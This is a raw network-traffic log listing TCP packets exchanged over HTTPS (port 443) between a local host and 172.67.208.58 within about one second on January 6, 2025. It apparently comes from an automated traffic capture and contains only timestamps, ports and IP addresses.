Jan 6, 2025 15:47:44.497138023 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.497214079 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.497304916 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.497320890 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.497370958 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.497375965 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.497428894 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.497607946 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.497622013 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.497688055 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.497689009 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.497697115 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.497744083 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.497916937 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.497930050 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.497967005 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.497972965 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.497996092 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.498023987 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.498253107 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.498259068 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.498272896 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.498315096 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.498318911 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.498352051 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.498352051 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.498399019 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.498414040 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.498464108 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.498470068 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.498497009 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.498497009 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.499413013 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.583267927 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.583298922 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.583333969 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.583343983 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.583393097 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.583393097 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.583537102 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.583554029 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.583595037 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.583600998 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.583678961 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.583678961 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.583782911 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.583802938 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.583848953 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.583857059 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.583872080 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.583897114 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.584095001 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.584110975 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.584173918 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.584173918 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.584181070 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.584259987 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.584361076 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.584378958 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.584445000 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.584445000 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.584450960 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.584695101 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.584734917 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.584748030 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.584789038 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.584795952 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.584811926 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.584846020 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.584969044 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.584984064 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.585047007 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.585052013 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.585067987 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.585146904 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.585283995 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.585298061 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.585336924 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.585346937 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.585381031 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.585441113 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.670222998 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.670243979 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.670334101 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.670341015 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.670384884 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.670475960 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.670490026 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.670536041 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.670542955 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.670736074 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.670754910 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.670811892 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.670818090 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.670969009 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.670981884 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.671036005 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.671053886 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.671264887 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.671282053 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.671331882 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.671343088 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.671633005 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.671646118 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.671703100 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.671709061 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.671845913 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.671863079 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.671895027 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.671900988 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.671983004 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.671983004 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.672149897 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.672164917 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.672261953 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.672267914 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.672322989 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.672322989 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.757256985 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.757277966 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.757400036 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.757410049 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.757575035 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.757596970 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.757668972 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.757675886 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.757994890 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.758008003 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.758079052 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.758085966 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.758301020 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.758317947 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.758367062 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.758373022 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.758538961 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.758550882 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.758596897 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.758604050 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.758692026 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.758789062 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.758802891 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.758846998 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.758862972 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.758965969 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.758981943 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.759021044 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.759027004 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.759049892 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.759049892 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.759085894 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.759154081 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.759284019 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.759298086 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.759346008 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.759351969 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.760543108 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.760543108 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.760566950 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.844153881 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.844182968 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.844407082 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.844414949 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.844468117 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.844486952 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.844542027 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.844547987 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.844558001 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.844594955 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.844733000 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.844746113 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.844790936 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.844796896 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.844808102 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.844849110 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.845084906 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.845098019 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.845170975 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.845176935 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.845299006 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.845315933 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.845354080 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.845359087 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.845390081 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.845405102 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.845609903 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.845623016 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.845715046 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.845720053 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.845823050 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.845839977 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.845897913 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.845904112 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.845918894 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.845938921 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.846054077 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.846067905 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.846126080 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.846132040 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.846652031 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.846678019 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.931102037 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.931124926 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.931205988 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.931214094 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.931351900 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.931370974 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.931422949 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.931422949 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.931432962 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.931698084 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.931710958 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.931765079 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.931771040 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.931788921 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.931821108 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.931926012 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.931941986 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.931986094 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.931992054 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.932178020 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.932194948 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.932282925 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.932290077 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.932427883 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.932529926 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.932543993 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.932570934 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.932594061 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.932600021 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.932636023 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.932643890 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.932912111 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.932931900 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.932990074 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.932990074 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.932996988 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.933089972 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.933106899 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.933159113 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.933159113 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.933166027 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.933196068 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.933500051 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.018230915 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.018261909 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.018326998 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.018333912 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.018394947 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.018412113 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.018433094 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.018471956 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.018476963 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.018490076 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.018512964 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.018718004 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.018738031 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.018826008 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.018831015 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.018865108 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.018865108 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.018922091 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.018939972 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.019001007 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.019001007 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.019007921 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.019042015 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.019295931 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.019323111 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.019352913 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.019357920 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.019386053 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.019408941 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.019479990 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.019498110 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.019548893 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.019553900 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.019568920 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.019596100 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.019778013 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.019797087 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.019840956 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.019845963 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.019867897 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.019895077 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.019951105 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.019968987 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.020016909 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.020023108 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.020040989 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.020056963 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.020765066 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.105153084 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.105178118 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.105221987 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.105248928 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.105263948 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.105276108 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.105276108 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.105426073 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.105452061 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.105546951 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.105546951 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.105552912 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.105648041 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.105665922 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.105698109 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.105701923 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.105742931 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.105981112 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.106010914 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.106048107 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.106060982 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.106096029 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.106287003 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.106302977 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.106337070 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.106343031 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.106364012 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.106514931 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.106535912 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.106554985 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.106566906 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.106601000 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.106841087 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.106857061 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.106906891 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.106911898 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.106934071 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.108438969 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.191900969 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.191921949 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.192112923 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.192137003 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.192138910 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.192148924 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.192190886 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.192190886 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.192414045 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.192433119 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.192476034 CET	49746	443	192.168.2.4	172.67.208.58
